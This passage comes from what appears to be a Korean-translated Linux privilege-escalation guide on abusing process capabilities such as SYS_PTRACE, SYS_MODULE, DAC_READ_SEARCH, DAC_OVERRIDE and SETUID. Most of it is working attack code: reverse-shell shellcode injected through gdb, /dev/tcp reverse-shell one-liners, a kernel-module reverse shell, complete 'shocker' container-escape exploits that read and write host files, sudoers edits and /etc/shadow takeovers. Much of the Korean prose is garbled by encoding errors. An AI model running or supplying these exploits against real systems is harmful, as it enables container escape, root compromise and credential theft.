libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
ìŽì§ íìŒ ìì (gdb)
gdb
ì ptrace
ê¶í:
/usr/bin/gdb = cap_sys_ptrace+ep
msfvenomì ì¬ì©íì¬ ë©ëªšëŠ¬ì 죌ì
í ììœë륌 ìì±í©ëë€.
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c
ìŽ ëª ë ¹ì 늬ë²ì€ ìì ìì±í©ëë€. ìì±ë ììœë륌 gdb륌 íµíŽ ë©ëªšëŠ¬ì 죌ì í ì ììµëë€.
```python
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"
# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
gdb륌 ì¬ì©íì¬ ë£šíž íë¡ìžì€ë¥Œ ëë²ê¹
íê³ ìŽì ì ìì±ë gdb ëŒìžì ë³µì¬íì¬ ë¶ì¬ë£ìµëë€:
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
í겜 ìì (Docker íì¶) - ë ë€ë¥ž gdb ëšì©
GDBê° ì€ì¹ëìŽ ìê±°ë (apk add gdb
ëë apt install gdb
ë¡ ì€ì¹í ì ìë 겜ì°) ížì€ížìì íë¡ìžì€ë¥Œ ëë²ê¹
íê³ system
íšì륌 ížì¶íê² í ì ììµëë€. (ìŽ êž°ì ì SYS_ADMIN
ê¶íë íìí©ëë€).
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
ëª ë ¹ìŽì ì¶ë ¥ì 볌 ìë ìì§ë§ íŽë¹ íë¡ìžì€ì ìíŽ ì€íë©ëë€ (ë°ëŒì rev shellì ì»ìŒìžì).
{% hint style="warning" %} "íì¬ ì»ší ì€ížì 'system' êž°ížê° ììµëë€."ëŒë ì€ë¥ê° ë°ìíë©Ž gdb륌 íµíŽ íë¡ê·žëšì ììœë륌 ë¡ëíë ìŽì ìì 륌 íìžíìžì. {% endhint %}
í겜 ìì (Docker íì¶) - ììœë 죌ì
ë€ì ëª ë ¹ìŽë¥Œ ì¬ì©íì¬ ë컀 컚í ìŽë ëŽìì íì±íë êž°ë¥ì íìží ì ììµëë€:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
List processes running in the host ps -eaf
- Get the architecture
uname -m
- Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)
- Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
- Modify the shellcode inside the program and compile it
gcc inject.c -o inject
- Inject it and grab your shell:
./inject 299; nc 172.17.0.1 5600
CAP_SYS_MODULE
**CAP_SYS_MODULE
**ë íë¡ìžì€ê° 컀ë 몚ëì ë¡ëíê³ ìžë¡ëí ì ìëë¡ (init_module(2)
, finit_module(2)
ë° delete_module(2)
ìì€í
ížì¶) íì¬ ì»€ëì íµì¬ ìì
ì ì§ì ì ê·Œí ì ìê² í©ëë€. ìŽ êž°ë¥ì 컀ëì ìì í ì ìê² íì¬ ëªšë Linux 볎ì ë©ì»€ëìŠ, Linux Security Modules ë° ì»ší
ìŽë 격늬륌 ì°íí ì ììŒë¯ë¡ ì€ìí 볎ì ìíì ìŽëí©ëë€.
ìŽë ížì€íž ëšžì ì 컀ëì 컀ë 몚ëì ìœì
/ì ê±°í ì ììì ì믞í©ëë€.
Example with binary
ë€ì ìì ìì ìŽ ë°ìŽë늬 **python
**ì ìŽ êž°ë¥ì ê°ì§ê³ ììµëë€.
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
Ʞ볞ì ìŒë¡, modprobe
ëª
ë ¹ì ëë í 늬 **/lib/modules/$(uname -r)
**ìì ìì¡Žì± ëª©ë¡ê³Œ 맵 íìŒì íìží©ëë€.
ìŽë¥Œ ì
ì©íêž° ìíŽ ê°ì§ lib/modules íŽë륌 ìì±íŽ ëŽ
ìë€:
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
ê·žë° ë€ì ìë ë ê°ì§ ìì 륌 ì°Ÿì ì ìë 컀ë 몚ëì 컎íìŒíê³ ìŽ íŽëì ë³µì¬íììì€:
cp reverse-shell.ko lib/modules/$(uname -r)/
ë§ì§ë§ìŒë¡, ìŽ ì»€ë 몚ëì ë¡ëíêž° ìíŽ íìí íìŽì¬ ìœë륌 ì€íí©ëë€:
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
Example 2 with binary
ë€ì ìì ìì ìŽ ë°ìŽë늬 **kmod
**ë ìŽ ê¶íì ê°ì§ê³ ììµëë€.
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
ìŽë€ ì믞ììë insmod
ëª
ë ¹ìŽë¥Œ ì¬ì©íì¬ ì»€ë 몚ëì ìœì
í ì ììµëë€. ìë ìì 륌 ë°ëŒ ìŽ ê¶íì ì
ì©íì¬ reverse shellì ì»ìŒìžì.
í겜 ìì (Docker íì¶)
docker 컚í ìŽë ëŽìì íì±íë ë¥ë ¥ì íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the SYS_MODULE capability is enabled.
컀ë 몚ëì ìì±íì¬ ëŠ¬ë²ì€ ì žì ì€ííê³ , ìŽë¥Œ 컎íìŒíêž° ìí Makefileì ìì±í©ëë€:
{% code title="reverse-shell.c" %}
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
{% endcode %}
{% code title="Makefile" %}
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
{% endcode %}
{% hint style="warning" %} Makefileì ê° make ëšìŽ ìì 공백 묞ìë ê³µë°±ìŽ ìë íìŽìŽìŒ í©ëë€! {% endhint %}
make
륌 ì€ííì¬ ì»ŽíìŒí©ëë€.
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
ë§ì§ë§ìŒë¡, ì
ž ììì nc
륌 ììíê³ ë€ë¥ž ì
žìì 몚ëì ë¡ëíë©Ž nc íë¡ìžì€ìì ì
žì 캡ì²í ì ììµëë€:
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
ìŽ êž°ì ì ìœëë https://www.pentesteracademy.com/ ì "SYS_MODULE Capability ëšì©" ì€íì€ìì ë³µì¬ëììµëë€.
ìŽ êž°ì ì ë ë€ë¥ž ìë https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-hostìì ì°Ÿì ì ììµëë€.
CAP_DAC_READ_SEARCH
CAP_DAC_READ_SEARCHë íë¡ìžì€ê° íìŒ ìœêž° ë° ëë í 늬 ìœêž°/ì€íì ëí ê¶íì ì°íí ì ìëë¡ í©ëë€. 죌ë ì©ëë íìŒ ê²ì ëë ìœêž° 목ì ì
ëë€. ê·žë¬ë ìŽ êž°ë¥ì íë¡ìžì€ì ë§ìŽíž ë€ìì€íìŽì€ ìžë¶ì íìŒì í¬íšíì¬ ëªšë íìŒì ì ê·Œí ì ìë open_by_handle_at(2)
íšì륌 ì¬ì©í ì ìê² í©ëë€. open_by_handle_at(2)
ìì ì¬ì©ëë ížë€ì name_to_handle_at(2)
륌 íµíŽ ì»ì ë¹í¬ëª
ìë³ìì¬ìŒ íì§ë§, ì¡°ìì ì·šìœí inode ë²ížì ê°ì 믌ê°í ì 볎륌 í¬íší ì ììµëë€. ìŽ êž°ë¥ì ì
ì© ê°ë¥ì±ì í¹í Docker 컚í
ìŽëì 맥ëœìì Sebastian Krahmerì ìíŽ shocker exploitë¡ ì
ìŠëììµëë€. ì¬êž°ì ë¶ìëš.
ìŽë íìŒ ìœêž° ê¶í ê²ì¬ ë° ëë í 늬 ìœêž°/ì€í ê¶í ê²ì¬ë¥Œ ì°íí ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
ë°ìŽë늬ë 몚ë íìŒì ìœì ì ììµëë€. ë°ëŒì tarì ê°ì íìŒìŽ ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, shadow íìŒì ìœì ì ììµëë€:
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
Example with binary2
ìŽ ê²œì° python
ë°ìŽëëŠ¬ê° ìŽ ê¶íì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€. ë£šíž íìŒì ëìŽíë €ë©Ž ë€ì곌 ê°ìŽ í ì ììµëë€:
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
íìŒì ìœêž° ìíŽìë ë€ì곌 ê°ìŽ í ì ììµëë€:
print(open("/etc/shadow", "r").read())
í겜 ìì (Docker íì¶)
docker 컚í ìŽë ëŽìì íì±íë ë¥ë ¥ì íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the DAC_READ_SEARCH capability is enabled. As a result, the container can debug processes.
You can learn how the following exploiting works in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 but in resume CAP_DAC_READ_SEARCHë ê¶í íìž ììŽ íìŒ ìì€í ì íìí ì ìì ë¿ë§ ìëëŒ, _open_by_handle_at(2)_ì ëí 몚ë ê²ì¬ë¥Œ ëª ìì ìŒë¡ ì ê±°íê³ ë€ë¥ž íë¡ìžì€ì ìíŽ ìŽëŠ° 믌ê°í íìŒì ì ê·Œí ì ìëë¡ í ì ììµëë€.
The original exploit that abuse this permissions to read files from the host can be found here: http://stealth.openwall.net/xSports/shocker.c, the following is a modified version that allows you to indicate the file you want to read as first argument and dump it in a file.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
{% hint style="warning" %} ìŽ ìµì€íë¡ìì ížì€ížì ë§ìŽížë 묎ìžê°ì ëí í¬ìží°ë¥Œ ì°ŸììŒ í©ëë€. ìë ìµì€íë¡ìì íìŒ /.dockerinitì ì¬ì©íìŒë©°, ìŽ ìì ë ë²ì ì /etc/hostnameì ì¬ì©í©ëë€. ìµì€íë¡ììŽ ìëíì§ ìëë€ë©Ž ë€ë¥ž íìŒì ì€ì íŽìŒ í ìë ììµëë€. ížì€ížì ë§ìŽížë íìŒì ì°ŸìŒë €ë©Ž mount ëª ë ¹ì ì€ííìžì: {% endhint %}
ìŽ êž°ì ì ìœëë https://www.pentesteracademy.com/ ì "Abusing DAC_READ_SEARCH Capability" ì€íì€ìì ë³µì¬ëììµëë€.
â
âââââââââââRootedCON ì ì€íìžìì ê°ì¥ êŽë šì±ìŽ ëì ì¬ìŽë² 볎ì ìŽë²€ížìŽë©°, ì ëœìì ê°ì¥ ì€ìí íì¬ ì€ íëì ëë€. êž°ì ì§ìì ìŽì§íë 믞ì ì ê°ì§ê³ ìë ìŽ ì»šê·žë ì€ë 몚ë ë¶ìŒì êž°ì ë° ì¬ìŽë² 볎ì ì 묞ê°ë€ìŽ 몚ìŽë ëšê±°ìŽ ë§ëšì ì¥ìì ëë€.
{% embed url="https://www.rootedcon.com/" %}
CAP_DAC_OVERRIDE
ìŽë 몚ë íìŒì ëí ì°êž° ê¶í ê²ì¬ë¥Œ ì°íí ì ììì ì믞íë¯ë¡, ìŽë€ íìŒìŽë ìž ì ììµëë€.
í¹ê¶ ìì¹ì ìíŽ ë®ìŽìž ì ìë íìŒìŽ ë§ìŽ ììµëë€. ì¬êž°ìì ììŽëìŽë¥Œ ì»ì ì ììµëë€.
ë°ìŽë늬 ìì
ìŽ ìì ìì vimì ìŽ ë¥ë ¥ì ê°ì§ê³ ììŒë¯ë¡ passwd, sudoers ëë _shadow_ì ê°ì íìŒì ìì í ì ììµëë€:
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
Example with binary 2
ìŽ ìì ìì python
ë°ìŽë늬ë ìŽ ê¶íì ê°ì§ ê²ì
ëë€. ë¹ì ì pythonì ì¬ì©íì¬ ìŽë€ íìŒìŽë ë®ìŽìž ì ììµëë€:
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
í겜 + CAP_DAC_READ_SEARCH (Docker íì¶) ìì
Docker 컚í ìŽë ëŽìì íì±íë ê¶íì íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
뚌ì ížì€ížì DAC_READ_SEARCH êž°ë¥ì ì
ì©íì¬ ììì íìŒì ìœë ë°©ë² ì¹ì
ì ìœê³ ìµì€íë¡ìì 컎íìŒíìžì.
ê·žë° ë€ì, ížì€íž íìŒ ìì€í
ëŽìì ììì íìŒì ìž ì ìë ë€ì ë²ì ì ìŒì»€ ìµì€íë¡ìì 컎íìŒíìžì:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
In order to scape the docker container you could download the files /etc/shadow
and /etc/passwd
from the host, add to them a new user, and use shocker_write
to overwrite them. Then, access via ssh.
ìŽ êž°ì ì ìœëë https://www.pentesteracademy.com ì "DAC_OVERRIDE Capability ì ì©" ì€íì€ìì ë³µì¬ëììµëë€.
CAP_CHOWN
ìŽë 몚ë íìŒì ìì ê¶ì ë³ê²œí ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
python
ë°ìŽëëŠ¬ê° ìŽ ê¶íì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€. ê·žë¬ë©Ž shadow íìŒì ìì ì륌 ë³ê²œíê³ , ë£šíž ë¹ë°ë²ížë¥Œ ë³ê²œíë©°, ê¶íì ìì¹ìí¬ ì ììµëë€:
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
ëë ruby
ë°ìŽëëŠ¬ê° ìŽ ë¥ë ¥ì ê°ì§ê³ ìë 겜ì°:
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
CAP_FOWNER
ìŽë 몚ë íìŒì ê¶íì ë³ê²œí ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
pythonìŽ ìŽ ë¥ë ¥ì ê°ì§ê³ ìë€ë©Ž, shadow íìŒì ê¶íì ìì íê³ , ë£šíž ë¹ë°ë²ížë¥Œ ë³ê²œíë©°, ê¶íì ìì¹ìí¬ ì ììµëë€:
python -c 'import os;os.chmod("/etc/shadow",0666)
CAP_SETUID
ìŽê²ì ìì±ë íë¡ìžì€ì ì íš ì¬ì©ì ID륌 ì€ì í ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
ë§ìœ pythonìŽ ìŽ capability륌 ê°ì§ê³ ìë€ë©Ž, ìŽë¥Œ ìŽì©íŽ ë£šíž ê¶íìŒë¡ ê¶í ìì¹ì ë§€ì° ìœê² í ì ììµëë€:
import os
os.setuid(0)
os.system("/bin/bash")
ë ë€ë¥ž ë°©ë²:
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
CAP_SETGID
ìŽë ìì±ë íë¡ìžì€ì ì íš ê·žë£¹ ID륌 ì€ì í ì ììì ì믞í©ëë€.
í¹ê¶ì ìì¹ìí€êž° ìíŽ ë®ìŽìž ì ìë íìŒìŽ ë§ìŽ ììµëë€, ì¬êž°ìì ììŽëìŽë¥Œ ì»ì ì ììµëë€.
ë°ìŽë늬 ìì
ìŽ ê²œì°, ê·žë£¹ìŽ ìœì ì ìë í¥ë¯žë¡ìŽ íìŒì ì°ŸììŒ í©ëë€. ìëíë©Ž ìŽë€ 귞룹ìŒë¡ë ê°ì¥í ì ìêž° ë묞ì ëë€:
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
í ë² ê¶í ìì¹ì ìíŽ ì ì©í ì ìë íìŒì ì°ŸìŒë©Ž (ìœêž° ëë ì°êž°ë¥Œ íµíŽ) í¥ë¯žë¡ìŽ 귞룹ì ê°ì¥íì¬ ì žì ì»ì ì ììµëë€:
import os
os.setgid(42)
os.system("/bin/bash")
ìŽ ê²œì° ê·žë£¹ shadowê° ê°ì¥íŽì¡ìŒë¯ë¡ /etc/shadow
íìŒì ìœì ì ììµëë€:
cat /etc/shadow
If dockerê° ì€ì¹ëìŽ ììŒë©Ž docker groupì ê°ì¥íê³ ìŽë¥Œ ì ì©íì¬ docker socketì íµì íê³ ê¶íì ìì¹ìí¬ ì ììµëë€.
CAP_SETFCAP
ìŽë íìŒê³Œ íë¡ìžì€ì ëí ê¶íì ì€ì í ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
pythonìŽ ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, ìŽë¥Œ ì ì©íì¬ ë£šíž ê¶íìŒë¡ ìì¹ìí€ë ê²ìŽ ë§€ì° ìœìµëë€:
{% code title="setcapability.py" %}
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
